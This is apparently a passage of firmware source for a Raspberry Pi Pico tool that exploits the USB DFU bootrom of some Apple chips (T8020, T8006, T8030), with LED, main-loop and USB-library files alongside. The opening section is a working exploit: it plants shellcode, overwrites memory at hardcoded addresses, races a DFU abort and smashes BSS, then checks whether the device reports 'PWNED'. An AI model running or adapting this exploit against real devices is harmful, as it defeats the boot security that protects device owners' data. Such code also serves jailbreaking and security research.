DEBUG("done: ACK=%ld TIMEOUT=%ld other=%ld (in %ld attempts)",
cnt.n_ack, cnt.n_timeout, cnt.n_other, cnt.attempts);
return 0;
}
#include "resources/shellcode_t8030.h"
#include "resources/handler_t8030.h"
int t8030_exploit_run(bus_t *b, __unused void *ctx) {
crazy_delay = T8030_CRAZY_DELAY;
/* ========= Assembling the shellcode in advance ========= */
const uint64_t shc_start = 0x19c018808;
uint32_t shc[0x204] = { 0 };
SETMANY(shc, shc_start, 0x19c018000, shellcode_t8030, sizeof(shellcode_t8030));
uint32_t aligned = (sizeof(handler_t8030) + (16 - 1)) & ~(16 - 1);
SET32(shc, shc_start, 0x19c018000 + sizeof(shellcode_t8030) - 0x10, aligned);
SETMANY(shc, shc_start, 0x19c018000 + sizeof(shellcode_t8030), handler_t8030, sizeof(handler_t8030));
/* ============ setting up dart_free() write ============ */
const uint64_t panicdepth_ow_start = 0x19C02950C;
static uint32_t panicdepth_ow_buffer[0x33] = { 0 };
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c0294f0, 0x4e00);
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c0294f8, 0x19c01031d);
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029440, 0x19c0294d8);
SET64(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029448, 0x19c0294e0);
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029450, 0x1);
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029458, 0x1);
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029460, 0x1);
SET32(panicdepth_ow_buffer, panicdepth_ow_start, 0x19c029468, 0x1);
crazy_transfer(b, panicdepth_ow_buffer, 0x33);
reset_dma_buf(b);
bus_reset_ep0_reopen(b);
/* ============ abort DFU and trigger it ============ */
struct usb_setup_req_header dfu_abort_req = {
.bmRequestType = 0x21,
.bRequest = 0x06,
.wValue = 0x0000,
.wIndex = 0x0000,
.wLength = 0x0000
};
bus_control_xfer(b, (uint8_t *)&dfu_abort_req, NULL, 0, false, 100);
bus_reset_ep0_reopen(b);
/* ============ race to skip LR of task struct ============ */
// uint32_t irq = save_and_disable_interrupts();
#define DELTA (3)
push_base(b, 0x300 + DELTA);
sleep_us(133);
push_base(b, 0x18 + 6 - DELTA);
// restore_interrupts(irq);
/* ============ breaking IRQ enter depth counter ============ */
static uint32_t lockref_smash_buffer[0x81] = { 0 };
memset(lockref_smash_buffer, 0xee, sizeof(lockref_smash_buffer));
lockref_smash_buffer[7] = 0x42424242;
lockref_smash_buffer[8] = 0x43434343;
lockref_smash_buffer[14] = 0x9c028858; // 0x20
lockref_smash_buffer[9] = 0x1; // 0x24
lockref_smash_buffer[10] = 0x3; // 0x28
lockref_smash_buffer[11] = 0x1; // 0x2c
lockref_smash_buffer[12] = 0x9c028858; // 0x18
lockref_smash_buffer[13] = 0x1; // 0x1c
lockref_smash_buffer[20] = 0x9c00c900; // 0x08
lockref_smash_buffer[15] = 0x1; // 0x0c
lockref_smash_buffer[16] = 0x9c0107c8; // 0x10
lockref_smash_buffer[17] = 0x1; // 0x14
lockref_smash_buffer[18] = 0x68; // 0x00
lockref_smash_buffer[19] = 0x69; // 0x04
lockref_smash_buffer[21] = 0x71;
lockref_smash_buffer[22] = 0x72;
sleep_us(37);
crazy_transfer(b, lockref_smash_buffer + 1, sizeof(lockref_smash_buffer) / 4);
sleep_us(37);
/* ============ Planting the shellcode ============ */
// You Can (Not) Advance
push_base(b, 3 * (0x1536));
bus_reset_ep0_reopen(b);
crazy_transfer(b, shc, 0x204);
push_base(b, 3 * 0x405);
/* ============ smashing BSS ============ */
const uint64_t bss_smash_base = 0x19c014fbc;
static uint32_t bss_my_beloved[0x1800] = { 0 };
// USB driver magic vals
SET32(bss_my_beloved, bss_smash_base, 0x19c010a54, 1);
SET32(bss_my_beloved, bss_smash_base, 0x19c010a60, 0x3ff);
SET32(bss_my_beloved, bss_smash_base, 0x19c010a64, 0x7ffff);
SET32(bss_my_beloved, bss_smash_base, 0x19c010a68, 0x300a);
// X22 check workaround
SET64(bss_my_beloved, bss_smash_base, 0x19c010208, 0x0);
SET64(bss_my_beloved, bss_smash_base, 0x19c010208 + 0x10, 0x100008EDC);
SET64(bss_my_beloved, bss_smash_base, 0x19c010208 + 0x4C, 0x1);
crazy_transfer(b, bss_my_beloved, 0x140c);
bus_reset_ep0_reopen(b);
fcall_crazy_transfer(b, 0x10000A5E8, 0x19c010208);
// respect Intel as usual
sleep_ms(286);
return 0;
}
// ======================= High-level exploit logic =======================
#define EXPLOIT_TIMEOUT (3 * 1000 * 1000)
int exploit_run(void) {
uint16_t cpid = -1;
bool pwnd = false;
int ret = device_identify(&cpid, &pwnd);
if (ret != 0) {
return ret;
}
if (pwnd) {
INFO("already PWNED!");
return -2;
}
led_set_state(LED_STATE_RUNNING);
absolute_time_t start = get_absolute_time();
// There used to be memset's for A12-specific buffers
// just before this switch. After moving them into
// the A12-specific code, A13 reliability dropped
// This little delay restores it...
//
// UPDATE: also breaks A12 reliability on RP2040,
// so let's put this delay unconditionally
sleep_ms(60);
usb_executee_t func = NULL;
switch (cpid) {
case 0x8020:
case 0x8006:
func = t8020_t8006_exploit_run;
break;
case 0x8030:
#if PICO_RP2040
INFO("WARNING: T8030 is not currently supported with RP2040, trying anyway though");
#endif
func = t8030_exploit_run;
break;
default:
INFO("T%04X is not supported (yet?)", cpid);
goto fail;
}
ret = usb_bus_execute(func, &cpid, EXPLOIT_TIMEOUT);
if (ret != 0) {
goto fail;
}
/* =========== checking if it all worked =========== */
usb_bus_reset_open_ep0();
if (device_identify(&cpid, &pwnd) != 0) {
INFO("cannot re-discover the device after the exploit!");
goto fail;
}
if (!pwnd) {
goto fail;
}
absolute_time_t end = get_absolute_time();
int64_t delta = absolute_time_diff_us(start, end);
led_set_state(LED_STATE_SUCCESS);
INFO("took - %lldms", delta / 1000);
INFO("exploit SUCCESS!");
return 0;
fail:
led_set_state(LED_STATE_ERROR);
INFO("exploit FAILED!");
return -1;
}
+3
View File
@@ -0,0 +1,3 @@
#pragma once
int exploit_run(void);
+312
View File
@@ -0,0 +1,312 @@
#include <stdio.h>
#include "pico/time.h"
#include "led.h"
#if LED_NEOPIXEL
#include "pico/status_led.h"
#if LED_RED_GREEN_SWAPPED
#define NEOPIXEL_RGB(r, g, b) \
((g << 16) | (r << 8) | (b))
#else
#define NEOPIXEL_RGB(r, g, b) \
((g << 8) | (r << 16) | (b))
#endif
#define DISABLED NEOPIXEL_RGB(0, 0, 0)
#define GREEN NEOPIXEL_RGB(1, 18, 2)
#define BLUE NEOPIXEL_RGB(0, 10, 18)
#define AMBER NEOPIXEL_RGB(18, 2, 0)
#define RED NEOPIXEL_RGB(24, 0, 0)
extern void set_ws2812(uint32_t value);
void led_switch_color(uint32_t color) {
set_ws2812(color);
}
void led_init(void) {
status_led_init();
}
#elif LED_RGB_PWM
#include "hardware/gpio.h"
#include "hardware/pwm.h"
#define PWM_WRAP (256)
#define PWM_RGB(r, g, b) \
((r << 16) | (g << 8) | b)
#define DISABLED PWM_RGB(0, 0, 0)
#define GREEN PWM_RGB(10, 150, 50)
#define BLUE PWM_RGB(0, 30, 120)
#define AMBER PWM_RGB(170, 24, 0)
#define RED PWM_RGB(120, 0, 0)
static struct {
uint r_slice;
uint r_chan;
uint g_slice;
uint g_chan;
uint b_slice;
uint b_chan;
} pwm_ctx = { 0 };
void led_switch_color(uint32_t color) {
pwm_set_chan_level(pwm_ctx.r_slice, pwm_ctx.r_chan, (color >> 16) & 0xFF);
pwm_set_chan_level(pwm_ctx.g_slice, pwm_ctx.g_chan, (color >> 8) & 0xFF);
pwm_set_chan_level(pwm_ctx.b_slice, pwm_ctx.b_chan, (color >> 0) & 0xFF);
}
void led_init(void) {
int r_pin = LED_RGB_RED_PIN, g_pin = LED_RGB_GREEN_PIN, b_pin = LED_RGB_BLUE_PIN;
gpio_set_function(r_pin, GPIO_FUNC_PWM);
gpio_set_function(g_pin, GPIO_FUNC_PWM);
gpio_set_function(b_pin, GPIO_FUNC_PWM);
pwm_ctx.r_slice = pwm_gpio_to_slice_num(r_pin);
pwm_ctx.r_chan = pwm_gpio_to_channel(r_pin);
pwm_ctx.g_slice = pwm_gpio_to_slice_num(g_pin);
pwm_ctx.g_chan = pwm_gpio_to_channel(g_pin);
pwm_ctx.b_slice = pwm_gpio_to_slice_num(b_pin);
pwm_ctx.b_chan = pwm_gpio_to_channel(b_pin);
pwm_set_wrap(pwm_ctx.r_slice, PWM_WRAP);
pwm_set_wrap(pwm_ctx.g_slice, PWM_WRAP);
pwm_set_wrap(pwm_ctx.b_slice, PWM_WRAP);
pwm_set_chan_level(pwm_ctx.r_slice, pwm_ctx.r_chan, PWM_WRAP);
pwm_set_chan_level(pwm_ctx.g_slice, pwm_ctx.g_chan, PWM_WRAP);
pwm_set_chan_level(pwm_ctx.b_slice, pwm_ctx.b_chan, PWM_WRAP);
#if LED_RGB_ACTIVE_LOW
// I hate this API
pwm_set_output_polarity(pwm_ctx.r_slice, true, true);
pwm_set_output_polarity(pwm_ctx.g_slice, true, true);
pwm_set_output_polarity(pwm_ctx.b_slice, true, true);
#endif
pwm_set_enabled(pwm_ctx.r_slice, true);
pwm_set_enabled(pwm_ctx.g_slice, true);
pwm_set_enabled(pwm_ctx.b_slice, true);
}
#elif LED_SINGLE_COLOR
#include "hardware/pwm.h"
#include "hardware/gpio.h"
#define PWM_WRAP (768)
static struct {
uint slice;
uint chan;
repeating_timer_t timer;
bool blink_en;
bool blink_curr_state;
repeating_timer_t breathing_timer;
uint breathing_level;
bool breathing_falling;
} led_ctx = { 0 };
void led_init(void) {
gpio_set_function(LED_PIN, GPIO_FUNC_PWM);
led_ctx.slice = pwm_gpio_to_slice_num(LED_PIN);
led_ctx.chan = pwm_gpio_to_channel(LED_PIN);
pwm_set_wrap(led_ctx.slice, PWM_WRAP);
pwm_set_chan_level(led_ctx.slice, led_ctx.chan, PWM_WRAP);
pwm_set_enabled(led_ctx.slice, true);
}
#define ENABLED (PWM_WRAP - 1)
#define DISABLED (0)
void led_toggle(uint on) {
pwm_set_chan_level(led_ctx.slice, led_ctx.chan, on);
}
bool _led_timer_cb(__unused repeating_timer_t *rt) {
led_toggle(led_ctx.blink_curr_state ? ENABLED : DISABLED);
led_ctx.blink_curr_state = !led_ctx.blink_curr_state;
return true;
}
void led_set_blinking(uint64_t period_ms) {
if (led_ctx.blink_en) {
cancel_repeating_timer(&led_ctx.timer);
}
if (period_ms) {
add_repeating_timer_ms(period_ms, _led_timer_cb, NULL, &led_ctx.timer);
led_ctx.blink_en = true;
} else {
led_toggle(false);
led_ctx.blink_en = false;
}
}
bool _led_breathing_timer_cb(__unused repeating_timer_t *rt) {
if (!led_ctx.breathing_falling) {
led_ctx.breathing_level++;
if (led_ctx.breathing_level == ENABLED) {
led_ctx.breathing_falling = true;
}
} else {
led_ctx.breathing_level--;
if (led_ctx.breathing_level == 0) {
led_ctx.breathing_falling = false;
}
}
pwm_set_chan_level(led_ctx.slice, led_ctx.chan, led_ctx.breathing_level);
return true;
}
void led_set_breathing(bool on) {
if (on) {
led_set_blinking(0);
add_repeating_timer_ms(2, _led_breathing_timer_cb, NULL, &led_ctx.breathing_timer);
} else {
cancel_repeating_timer(&led_ctx.breathing_timer);
led_toggle(DISABLED);
}
}
#endif
#if LED_NEOPIXEL || LED_RGB_PWM
static struct {
uint32_t color;
repeating_timer_t timer;
bool blink_en;
bool blink_curr_state;
} led_ctx = { 0 };
void led_set_color(uint32_t color) {
led_ctx.color = color;
led_switch_color(color);
}
bool _led_timer_cb(__unused repeating_timer_t *rt) {
uint32_t color = 0;
if (led_ctx.blink_curr_state) {
color = led_ctx.color;
} else {
color = DISABLED;
}
led_switch_color(color);
led_ctx.blink_curr_state = !led_ctx.blink_curr_state;
return true;
}
void led_set_blinking(uint64_t period_ms) {
if (led_ctx.blink_en) {
cancel_repeating_timer(&led_ctx.timer);
}
if (period_ms) {
add_repeating_timer_ms(period_ms, _led_timer_cb, NULL, &led_ctx.timer);
led_ctx.blink_en = true;
} else {
led_switch_color(led_ctx.color);
led_ctx.blink_en = false;
}
}
void led_set_state(int state) {
switch (state) {
case LED_STATE_BOOTING: {
led_set_color(AMBER);
led_set_blinking(200);
break;
}
case LED_STATE_IDLE: {
led_set_color(AMBER);
led_set_blinking(0);
break;
}
case LED_STATE_RUNNING: {
led_set_color(BLUE);
// blinking here breaks reliability, IDK
led_set_blinking(0);
break;
}
case LED_STATE_SUCCESS: {
led_set_color(GREEN);
led_set_blinking(0);
break;
}
case LED_STATE_ERROR: {
led_set_color(RED);
led_set_blinking(0);
break;
}
}
}
#elif LED_SINGLE_COLOR
void led_set_state(int state) {
switch (state) {
case LED_STATE_BOOTING: {
led_set_blinking(200);
break;
}
case LED_STATE_IDLE: {
led_set_breathing(true);
break;
}
case LED_STATE_RUNNING: {
led_set_breathing(false);
led_set_blinking(100);
break;
}
case LED_STATE_SUCCESS: {
led_set_blinking(0);
led_toggle(ENABLED);
break;
}
case LED_STATE_ERROR: {
led_set_blinking(0);
led_toggle(DISABLED);
break;
}
}
}
#else
void led_init(void) {
}
void led_set_state(int state) {
}
#endif
+13
View File
@@ -0,0 +1,13 @@
#pragma once
void led_init(void);
enum {
LED_STATE_BOOTING = 0,
LED_STATE_IDLE,
LED_STATE_RUNNING,
LED_STATE_SUCCESS,
LED_STATE_ERROR
};
void led_set_state(int state);
+20
View File
@@ -0,0 +1,20 @@
#pragma once
#define DEBUG_ENABLED (0)
#include <stdio.h>
#define INFO(fmt, ...) \
printf(fmt "\n", ##__VA_ARGS__)
#if DEBUG_ENABLED
#define DEBUG(fmt, ...) \
printf("%s(): " fmt "\n", __func__, ##__VA_ARGS__)
#else
#define DEBUG(fmt, ...) \
(void)0
#endif
+203
View File
@@ -0,0 +1,203 @@
#include <pico/stdio.h>
#include <pico/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "hardware/clocks.h"
#include "hardware/watchdog.h"
#include "led.h"
#include "pico/stdlib.h"
#include "pico/bootrom.h"
#include "bus.h"
#include "exploit.h"
#include "usb.h"
#include "log.h"
#if WITH_AUTO_MODE
#define WITH_AUTO_REBOOT (0)
#define FAILURE_REBOOT_DELAY_SEC (3)
#define SUCCESS_REBOOT_DELAY_SEC (5)
#define CONNECTION_FAIL_SLEEP_MS (500)
__attribute__((noreturn))
void fatal_failure(void) {
led_set_state(LED_STATE_ERROR);
#if WITH_AUTO_REBOOT
printf("\nfatal failure, rebooting in %d seconds\n", FAILURE_REBOOT_DELAY_SEC);
sleep_ms(FAILURE_REBOOT_DELAY_SEC * 1000);
watchdog_reboot(0, SRAM_END, 1);
while (1) {}
#else
printf("\nfatal failure, spinning forever\n");
while (1) {
sleep_ms(100);
}
#endif
}
__attribute__((noreturn))
void do_auto(void) {
while (true) {
int ret = exploit_run();
/*
* This case means not even device descriptor
* could be queried
*
* On those boards with redundant resistor
* it could mean that device was not even
* connected yet
*
* So we sleep a bit, reset the bus and try again
*
* UPDATE: same behavior for already PWNED devices
*/
if (ret == -2) {
sleep_ms(CONNECTION_FAIL_SLEEP_MS);
usb_bus_reset_open_ep0();
continue;
}
/* no-go failure, bailing */
if (ret != 0) {
fatal_failure();
}
/* it all went well then */
break;
}
#if WITH_AUTO_REBOOT
printf("\nsuccess, rebooting in %d seconds\n", SUCCESS_REBOOT_DELAY_SEC);
sleep_ms(SUCCESS_REBOOT_DELAY_SEC * 1000);
watchdog_reboot(0, SRAM_END, 1);
while (1) {}
#else
printf("\nsuccess, spinning forever\n");
while (1) {
sleep_ms(100);
}
#endif
}
#else
static void help(void) {
printf("'e'\texploit\n");
printf("'r'\tbus reset\n");
printf("'p'\treboot\n");
printf("'h'\thelp\n");
}
void do_shell(void) {
char buf[2] = { 0 };
printf("\nDEBUG build, starting command prompt\n");
printf("\n");
help();
printf("\n");
while (1) {
printf("> ");
char c = stdio_getchar();
printf("%c\n", c);
switch (c) {
case 'r': {
printf("Resetting the bus...\n");
usb_bus_reset_open_ep0();
break;
}
case 'e': {
usb_bus_reset_open_ep0();
int ret = exploit_run();
if (ret == -2) {
printf("failed to discover a device\n");
}
break;
}
case 'p': {
printf("Rebooting the Pico...\n");
sleep_ms(100);
watchdog_reboot(0, SRAM_END, 1);
while (1) {}
}
case 'h': {
help();
break;
}
default: {
printf("Unknown command '%s'\n", buf);
break;
}
}
}
}
#endif
int main(void) {
// PIO USB needs sys_clk to be a multiple of 12 MHz
#if PICO_RP2350
set_sys_clock_khz(156000, true);
#elif PICO_RP2040
set_sys_clock_khz(120000, true);
#else
#error What is this MCU even?
#endif
led_init();
led_set_state(LED_STATE_BOOTING);
stdio_init_all();
// this delay being long enough, seems to have
// a HUGE impact on the exploit reliability
sleep_ms(2000);
led_set_state(LED_STATE_IDLE);
printf("\n============ %s v%s ============\n", PICO_PROGRAM_NAME, PICO_PROGRAM_VERSION_STRING);
printf("built for %s, PIO USB @ GP%d/%d (D+/D-)\n\n", BOARD_NAME, PIO_USB_DP_PIN_DEFAULT, PIO_USB_DP_PIN_DEFAULT + 1);
#if PICO_RP2040
printf("==========================================================\n");
printf("WARNING: RP2040 reliability is not the best in many cases,\n");
printf("you shall better switch to RP2350\n");
printf("==========================================================\n");
printf("\n");
#endif
usb_start();
usb_bus_init();
usb_bus_wait_for_device();
usb_bus_reset_open_ep0();
#if WITH_AUTO_MODE
do_auto();
#else
do_shell();
#endif
}
+121
View File
@@ -0,0 +1,121 @@
# This is a copy of <PICO_SDK_PATH>/external/pico_sdk_import.cmake
# This can be dropped into an external project to help locate this SDK
# It should be include()ed prior to project()
# Copyright 2020 (c) 2020 Raspberry Pi (Trading) Ltd.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
# following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following
# disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH))
set(PICO_SDK_PATH $ENV{PICO_SDK_PATH})
message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')")
endif ()
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT))
set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT})
message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')")
endif ()
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH))
set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH})
message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')")
endif ()
if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_TAG} AND (NOT PICO_SDK_FETCH_FROM_GIT_TAG))
set(PICO_SDK_FETCH_FROM_GIT_TAG $ENV{PICO_SDK_FETCH_FROM_GIT_TAG})
message("Using PICO_SDK_FETCH_FROM_GIT_TAG from environment ('${PICO_SDK_FETCH_FROM_GIT_TAG}')")
endif ()
if (PICO_SDK_FETCH_FROM_GIT AND NOT PICO_SDK_FETCH_FROM_GIT_TAG)
set(PICO_SDK_FETCH_FROM_GIT_TAG "master")
message("Using master as default value for PICO_SDK_FETCH_FROM_GIT_TAG")
endif()
set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK")
set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable")
set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK")
set(PICO_SDK_FETCH_FROM_GIT_TAG "${PICO_SDK_FETCH_FROM_GIT_TAG}" CACHE FILEPATH "release tag for SDK")
if (NOT PICO_SDK_PATH)
if (PICO_SDK_FETCH_FROM_GIT)
include(FetchContent)
set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR})
if (PICO_SDK_FETCH_FROM_GIT_PATH)
get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}")
endif ()
FetchContent_Declare(
pico_sdk
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG}
)
if (NOT pico_sdk)
message("Downloading Raspberry Pi Pico SDK")
# GIT_SUBMODULES_RECURSE was added in 3.17
if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0")
FetchContent_Populate(
pico_sdk
QUIET
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG}
GIT_SUBMODULES_RECURSE FALSE
SOURCE_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-src
BINARY_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-build
SUBBUILD_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-subbuild
)
else ()
FetchContent_Populate(
pico_sdk
QUIET
GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk
GIT_TAG ${PICO_SDK_FETCH_FROM_GIT_TAG}
SOURCE_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-src
BINARY_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-build
SUBBUILD_DIR ${FETCHCONTENT_BASE_DIR}/pico_sdk-subbuild
)
endif ()
set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR})
endif ()
set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE})
else ()
message(FATAL_ERROR
"SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git."
)
endif ()
endif ()
get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}")
if (NOT EXISTS ${PICO_SDK_PATH})
message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found")
endif ()
set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake)
if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE})
message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK")
endif ()
set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE)
include(${PICO_SDK_INIT_CMAKE_FILE})
+26
View File
@@ -0,0 +1,26 @@
set(lib_name pio_usb)
add_library(${lib_name} INTERFACE)
set(dir ${CMAKE_CURRENT_LIST_DIR}/src)
pico_generate_pio_header(${lib_name} ${dir}/usb_tx.pio)
pico_generate_pio_header(${lib_name} ${dir}/usb_rx.pio)
target_sources(${lib_name} INTERFACE
${dir}/pio_usb.c
${dir}/pio_usb_device.c
${dir}/pio_usb_host.c
${dir}/usb_crc.c
)
target_link_libraries(${lib_name} INTERFACE
pico_stdlib
pico_multicore
hardware_pio
hardware_dma
)
target_include_directories(${lib_name} INTERFACE ${dir})
# enable all warnings
target_compile_options(${lib_name} INTERFACE -Wall -Wextra)
+11
View File
@@ -0,0 +1,11 @@
name=Pico PIO USB
version=0.7.2
author=sekigon-gonnoc
maintainer=sekigon-gonnoc
sentence=Pico PIO USB library for Arduino
paragraph=Pico PIO USB library for Arduino
category=Communication
url=https://github.com/sekigon-gonnoc/Pico-PIO-USB
architectures=rp2040
includes=pio_usb.h
depends=Adafruit TinyUSB Library
+642
View File
@@ -0,0 +1,642 @@
/**
* Copyright (c) 2021 sekigon-gonnoc
*/
#pragma GCC push_options
#pragma GCC optimize("-O3")
#include <stdio.h>
#include <stdint.h>
#include <string.h> // memcpy
#include "hardware/clocks.h"
#include "hardware/dma.h"
#include "hardware/pio.h"
#include "hardware/pio_instructions.h"
#include "hardware/sync.h"
#include "pico/bootrom.h"
#include "pico/stdlib.h"
#include "pico/platform.h"
#include "pio_usb.h"
#include "usb_definitions.h"
#include "pio_usb_configuration.h"
#include "pio_usb_ll.h"
#include "usb_crc.h"
#define UNUSED_PARAMETER(x) (void)x
usb_device_t pio_usb_device[PIO_USB_DEVICE_CNT];
pio_port_t pio_port[1];
root_port_t pio_usb_root_port[PIO_USB_ROOT_PORT_CNT];
endpoint_t pio_usb_ep_pool[PIO_USB_EP_POOL_CNT];
static uint8_t ack_encoded[5];
static uint8_t nak_encoded[5];
static uint8_t stall_encoded[5];
static uint8_t pre_encoded[5];
//--------------------------------------------------------------------+
// Bus functions
//--------------------------------------------------------------------+
static void __no_inline_not_in_flash_func(send_pre)(pio_port_t *pp) {
// send PRE token in full-speed
pp->low_speed = false;
uint16_t instr = pp->fs_tx_pre_program->instructions[0];
pp->pio_usb_tx->instr_mem[pp->offset_tx] = instr;
SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_fs_tx);
pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr);
pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag
dma_channel_transfer_from_buffer_now(pp->tx_ch, pre_encoded,
sizeof(pre_encoded));
while ((pp->pio_usb_tx->irq & IRQ_TX_EOP_MASK) == 0) {
continue;
}
// Wait for complete transmission of the PRE packet. We don't want to
// accidentally send trailing Ks in low speed mode due to an early start
// instruction that re-enables the outputs.
uint32_t stall_mask = 1 << (PIO_FDEBUG_TXSTALL_LSB + pp->sm_tx);
pp->pio_usb_tx->fdebug = stall_mask; // clear sticky stall mask bit
while (!(pp->pio_usb_tx->fdebug & stall_mask)) {
continue;
}
// change bus speed to low-speed
pp->low_speed = true;
pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, false);
instr = pp->fs_tx_program->instructions[0];
pp->pio_usb_tx->instr_mem[pp->offset_tx] = instr;
SM_SET_CLKDIV(pp->pio_usb_tx, pp->sm_tx, pp->clk_div_ls_tx);
pio_sm_set_enabled(pp->pio_usb_tx, pp->sm_tx, true);
// pio_sm_clear_fifos(pp->pio_usb_tx, pp->sm_tx);
// pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr);
// SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, false);
SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_ls_rx);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, true);
}
void __not_in_flash_func(pio_usb_bus_usb_transfer)(pio_port_t *pp,
uint8_t *data, uint16_t len) {
if (pp->need_pre) {
send_pre(pp);
}
pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr);
dma_channel_transfer_from_buffer_now(pp->tx_ch, data, len);
pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag
io_ro_32 *pc = &pp->pio_usb_tx->sm[pp->sm_tx].addr;
while ((pp->pio_usb_tx->irq & IRQ_TX_ALL_MASK) == 0) {
continue;
}
pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag
if (pp->low_speed) {
// For Low speed host, wait until EOP is fully sent. Otherwise, we can send another packet
// before inter-packet delay timeout, which is 2-bit time by USB specs.
// For Full speed, our overhead is probably enough without this additional wait.
while (*pc <= PIO_USB_TX_ENCODED_DATA_COMP) {
continue;
}
} else {
while (*pc < PIO_USB_TX_ENCODED_DATA_COMP) {
continue;
}
}
}
void __no_inline_not_in_flash_func(pio_usb_bus_send_token)(pio_port_t *pp,
uint8_t token,
uint8_t addr,
uint8_t ep_num) {
uint8_t packet[4] = {USB_SYNC, token, 0, 0};
uint16_t dat = ((uint16_t)(ep_num & 0xf) << 7) | (addr & 0x7f);
uint8_t crc = calc_usb_crc5(dat);
packet[2] = dat & 0xff;
packet[3] = (crc << 3) | ((dat >> 8) & 0x1f);
uint8_t packet_encoded[sizeof(packet) * 2 * 7 / 6 + 2];
uint8_t encoded_len = pio_usb_ll_encode_tx_data(packet, sizeof(packet), packet_encoded);
